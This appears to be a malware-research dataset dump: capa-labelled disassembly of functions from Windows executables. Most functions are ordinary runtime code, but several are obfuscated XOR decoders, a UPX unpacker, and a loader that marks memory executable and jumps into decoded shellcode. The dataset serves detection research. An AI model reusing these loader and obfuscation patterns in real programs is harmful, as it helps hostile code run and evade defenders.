joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x462004]
jne 0x40100a
repz ret
jmp fcn.00401243

Function at 0x40314b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x462004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040213e
and dword [ebp - 0x14], 0
cmp dword [0x4648ac], 0
mov dword [ebp - 0x18], eax
jne 0x4031fe
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4032a6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4032a6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4648ac], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4648b0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4648b4], eax
call edi
push eax
call esi
mov dword [0x4648bc], eax
test eax, eax
je 0x4031fe
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4648b8], eax
mov eax, dword [0x4648b8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x403257
cmp dword [0x4648bc], ecx
je 0x403257
push eax
call esi
push dword [0x4648bc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x403257
test ebx, ebx
je 0x403257
call edi
test eax, eax
je 0x40324e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40324e
test byte [ebp - 8], 1
jne 0x403257
or dword [ebp + 0x10], 0x200000
jmp 0x40328a
mov eax, dword [0x4648b0]
cmp eax, dword [ebp - 0x18]
je 0x40328a
push eax
call esi
test eax, eax
je 0x40328a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40328a
mov eax, dword [0x4648b4]
cmp eax, dword [ebp - 0x18]
je 0x40328a
push eax
call esi
test eax, eax
je 0x40328a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4648ac]
call esi
test eax, eax
je 0x4032a6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4032a8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret
Function at 0x405670
Capabilities:
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Get common file path
Get file attributes
Get geographical location

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x44c
mov eax, dword [0x462004]
xor eax, esp
mov dword [esp + 0x448], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetEvent]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x4056a9
mov eax, dword [0x463934]
mov dword [0x4a0694], eax
cmp dword [0x4a030c], 0x3c
jne 0x4056b5
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x405697
cmp dword [0x4a030c], 0x7c
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
jne 0x40573b
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_RaiseException]
cmp dword [0x4a030c], 0x110a
jne 0x40579f
push ebx
mov dword [0x4a0300], ebx
mov dword [0x4a0304], ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push str.wudomizegotog
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSize]
push ebx
call fcn.0040100f
add esp, 4
push ebx
call fcn.0040100f
add esp, 4
push ebx
call fcn.0040100f
add esp, 4
call fcn.00405410
xor ecx, ecx
cmp dword [0x4a030c], ebx
jbe 0x4057db
mov edi, edi
mov eax, dword [0x4a0694]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov edx, dword [esp + 0x10]
mov al, byte [edx + ecx]
mov edx, dword [0x4a0030]
mov byte [edx + ecx], al
inc ecx
cmp ecx, dword [0x4a030c]
jb 0x4057b0
push str.msimg32.dll
call esi
mov ecx, dword [0x4a030c]
mov edx, dword [0x4a0030]
lea eax, [esp + 0x14]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004055e0
call fcn.00405430
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
lea eax, [esp + 0x28]
push eax
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x405838
cmp dword [esp + 0x30], 0xf5bed7
jne 0x405841
inc esi
cmp esi, 0x1ece7a52
jl 0x405815
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputAttribute]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileW]
xor esi, esi
nop
cmp esi, 0x12e6c3
jne 0x40585d
call fcn.00405400
cmp dword [0x4a030c], 0x3dc
mov dword [0x4a0034], 0x8e46a6f0
jne 0x405897
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x24], ecx
call edi
push 0
push 0
push 0
push 0
push 0
push 0
push str.socuyaxokepajivinixu_jedubatilelokatuzaze_futalufa_kemabahayujozosigulon
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x405850
mov ecx, dword [esp + 0x454]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret
Function at 0x1002d810
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x1002d9d4
pushal
mov esi, section.UPX1
lea edi, [esi - 0x19000]
push edi
jmp 0x1002d83a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1002d841
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1002d830
mov eax, 1
add ebx, ebx
jne 0x1002d853
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1002d848
jne 0x1002d864
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1002d848
xor ecx, ecx
sub eax, 3
jb 0x1002d878
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1002d8ea
mov ebp, eax
add ebx, ebx
jne 0x1002d883
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x1002d890
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x1002d8b4
inc ecx
add ebx, ebx
jne 0x1002d8a0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1002d895
jne 0x1002d8b1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1002d895
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1002d8d4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1002d8c5
jmp 0x1002d836
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1002d8d4
add edi, ecx
jmp 0x1002d836
pop esi
mov edi, esi
mov ecx, 0x623
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1002d8f2
cmp byte [edi], 0x11
jne 0x1002d8f2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1002d8f7
lea edi, [esi + 0x2b000]
mov eax, dword [edi]
or eax, eax
je 0x1002d966
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2d000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2d028]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1002d924
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2d02c]
or eax, eax
je 0x1002d960
mov dword [ebx], eax
add ebx, 4
jmp 0x1002d941
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x1002d997
cmp al, 0xef
ja 0x1002d98a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x1002d96c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x1002d979
mov ebp, dword [esi + 0x2d030]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1002d9cb
sub esp, 0xffffff80
jmp 0x10011883
Function at 0x401aba
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401af9
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401af9
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401af9
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401af9
cmp dword [ecx + 0x74], 0xe
jbe 0x401af9
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x408034
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4155c0
push 0x4155b8
push str.FlsAlloc
push 0x1e
call fcn.00407ef5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408068
push dword [ebp + 8]
mov ecx, esi
call dword [0x41413c]
call esi
jmp 0x40806e
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x4080b2
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4155d0
push 0x4155c8
push str.FlsGetValue
push 0x20
call fcn.00407ef5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4080e9
push dword [ebp + 8]
mov ecx, esi
call dword [0x41413c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x40b591
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40b62e
push ebx
push esi
call fcn.0040b55a
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040b4a3
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40b5db
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b62d
push edi
push eax
call fcn.004087e7
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40b5fb
call fcn.00407d88
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b62c
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040b4a3
add esp, 0x20
test eax, eax
jne 0x40b61a
push edi
call fcn.00407d88
jmp 0x40b622
push ebx
call fcn.00407d88
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x4135b0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4135dd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4135dd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x19c0c00
Capabilities:
Encode data using xor

Disassembly:
jmp 0x19c0c0a
add byte [eax], al
pushal
call 0x19c0c10
pop ebp
sub ebp, 0x10
sub ebp, 0x9c0c00
jmp 0x19c0c26
mov eax, 0x9c0c00
add eax, ebp
add eax, 0x4c
mov ecx, 0x5bb
mov edx, 0x2a4a82ad
xor byte [eax], dl
inc eax
dec ecx
jne 0x19c0c3d
jmp 0x19c0c50
pushal
and al, 0x91
lodsd eax, dword [esi]
lodsd eax, dword [esi]
lodsd eax, dword [esi]
sub al, 0x6c
push ebp
lodsd eax, dword [esi]
lodsd eax, dword [esi]
lodsd eax, dword [esi]
scasb al, byte es:[edi]
pushal
adc eax, 0xadadada8
pop ss
test dword [ebp + 0x4f5aadad], ebp
scasb al, byte es:[edi]
sub al, 0xa1
lodsd eax, dword [esi]
lodsd eax, dword [esi]
lodsd eax, dword [esi]
scasb al, byte es:[edi]
push 0x61c5fdfd
jmp 0x19c0c08
Function at 0x10001070
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x1000b018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
test esi, esi
jne 0x100010a1
mov eax, 0x80070057
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002218
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x100010e5
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x1000115c
and eax, 0xffff
or eax, 0x80070000
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002218
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 0x11c]
cmp eax, 6
ja 0x10001154
jne 0x10001123
cmp dword [ebp - 0x118], 1
jae 0x10001154
mov eax, dword [ebp - 0x114]
cmp eax, 0x1772
ja 0x10001154
jae 0x1000113e
mov dword [esi], 3
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002218
mov esp, ebp
pop ebp
ret 4
jae 0x100010fb
mov dword [esi], 1
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002218
mov esp, ebp
pop ebp
ret 4
push str.D3D11.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
je 0x1000116d
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [esi], 0
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002218
mov esp, ebp
pop ebp
ret 4
lea ecx, [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [ebp - 0x144]
test eax, eax
je 0x1000118a
cmp eax, 9
jne 0x10001125
mov ecx, dword [ebp - 4]
mov dword [esi], 2
xor ecx, ebp
xor eax, eax
pop esi
call fcn.10002218
mov esp, ebp
pop ebp
ret 4
Function at 0x10001e70
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x454
mov eax, dword [0x1000b018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, str.CustomActionData
call fcn.10001c80
mov esi, eax
xor eax, eax
test esi, esi
je 0x10001fdf
push 0x206
push eax
lea ecx, [ebp - 0x20a]
push ecx
mov word [ebp - 0x20c], ax
call fcn.100049f0
push esi
lea edx, [ebp - 0x20c]
push 0x104
push edx
call fcn.10002303
lea eax, [ebp - 0x20c]
push eax
lea ecx, [ebp - 0x414]
push 0x104
push ecx
call fcn.10002303
push str.D3D11Install.exe
lea edx, [ebp - 0x414]
push 0x104
push edx
call fcn.1000225d
add esp, 0x30
lea eax, [ebp - 0x418]
push eax
mov dword [ebp - 0x418], 0xffffffff
call sym.D3D11InstallHelper.dll_CheckDirect3D11Status
mov eax, dword [ebp - 0x418]
cmp eax, 3
je 0x10001f25
cmp eax, 2
jne 0x10001fd4
push 0x3c
lea ecx, [ebp - 0x454]
push 0
push ecx
call fcn.100049f0
add esp, 0xc
lea ecx, [ebp - 0x454]
lea edx, [ebp - 0x414]
lea eax, [ebp - 0x20c]
push ecx
mov dword [ebp - 0x454], 0x3c
mov dword [ebp - 0x450], 0x540
mov dword [ebp - 0x448], str.open
mov dword [ebp - 0x444], edx
mov dword [ebp - 0x440], str._minimal__y
mov dword [ebp - 0x43c], eax
mov dword [ebp - 0x438], 5
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x10001fd4
mov edx, dword [ebp - 0x41c]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x41c]
lea eax, [ebp - 0x418]
push eax
push ecx
mov dword [ebp - 0x418], 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [ebp - 0x418], 1
jne 0x10001fd4
push str.D3D11InstallHelperNeedsReboot
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
push esi
call fcn.10002252
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10002218
mov esp, ebp
pop ebp
ret 4

Function at 0x10002912
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x1000294d
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x10002934
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x10002945
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x1000294f
inc edi
add eax, 0x28
cmp edi, esi
jb 0x1000292a
xor eax, eax
pop edi
pop esi
ret

Function at 0x10002bef
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
invalid
inc ebp
into
Function at 0x10003001
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x10002fa9
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x10002fc7
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x10003025
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x1000300c
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x10003015
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x1000301f
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe fcn.10003001
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x10002f8b
mov dword [ebp + 8], esi
xor edi, edi
Function at 0x40368d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x40369c
pop dword [ebp - 0x30]
mov eax, 0x4350dcb5
add eax, 0xbcef59e7
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xe4311adb
sub dword [ebp - 0x40], 0x95ded590
mov dword [ebp - 0x3c], 0x2ead0d94
add dword [ebp - 0x3c], 0x3863eb1
mov dword [ebp - 0x38], 0x266af9e4
add dword [ebp - 0x38], 0x25e14a4a
mov dword [ebp - 0x34], 0xbf9a9090
sub dword [ebp - 0x34], 0xbf9a9090
lea eax, [ebp - 0x40]
push eax
mov eax, 0xbb0b42c
add eax, 0xf48fbbf0
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0x30f86adc
sub dword [ebp - 0x40], 0xbc860186
mov dword [ebp - 0x3c], 0xbd0ea0ba
add dword [ebp - 0x3c], 0x845dc0bb
mov dword [ebp - 0x38], 0x59e38bc
add dword [ebp - 0x38], 0x5dd133b0
mov dword [ebp - 0x34], 0x5b7fb226
sub dword [ebp - 0x34], 0x5b7fb226
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x76916a10
add eax, 0x89af0610
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x365a5
push 0
call eax
mov ecx, 0xae1aaa8
sub ecx, 0xae16818
mov esi, eax
mov edx, 0x21727a7e
add edx, 0xdece4d82
add edx, dword [ebp - 0x30]
mov ebx, 0x260cc1fc
add dword [ebp - 0x20], edx
mov edi, dword [edx]
sub edi, ebx
add dword [ebp - 0x10], eax
mov dword [esi], edi
xor dword [ebp - 0x24], 0x953f8656
add esi, 4
add edx, 4
loop 0x4037b8
add eax, 0xc9d5d377
add eax, 0x362b299c
xor ebx, ebx
add ebx, eax
add eax, 0x92ed1845
sub eax, 0x92ed1840
mov ecx, 0x757bc7af
sub ecx, 0x753bc7af
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x404635
Capabilities:
Check if file exists

Disassembly:
push 0x1c
mov eax, 0x4069e0
call fcn.004054fb
cmp dword [0x40a010], 0
mov esi, dword [ebp + 8]
jne 0x404654
mov al, 1
jmp 0x40471d
test esi, esi
je 0x40471b
xor ebx, ebx
cmp word [esi], bx
je 0x40471b
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40471b
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsRelativeW]
test eax, eax
jne 0x40471b
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.0040368d
pop ecx
pop ecx
mov esi, dword [0x40a010]
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], ebx
je 0x40470f
lea eax, [ebp - 0x28]
push eax
call fcn.0040368d
pop ecx
test al, al
jne 0x40470f
cmp dword [ebp - 0x18], esi
jbe 0x40470f
cmp dword [0x40a014], 8
lea eax, [ebp - 0x28]
mov ecx, section..data
cmovae ecx, dword [section..data]
cmp dword [ebp - 0x14], 8
push esi
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
add esp, 0xc
test eax, eax
jne 0x40470f
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
test eax, eax
je 0x40470f
push 0x407620
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
xor edx, edx
movzx ebx, bl
inc edx
test eax, eax
pop ecx
pop ecx
cmovne ebx, edx
lea ecx, [ebp - 0x28]
call fcn.00401788
mov al, bl
jmp 0x40471d
xor al, al
call fcn.004054b6
ret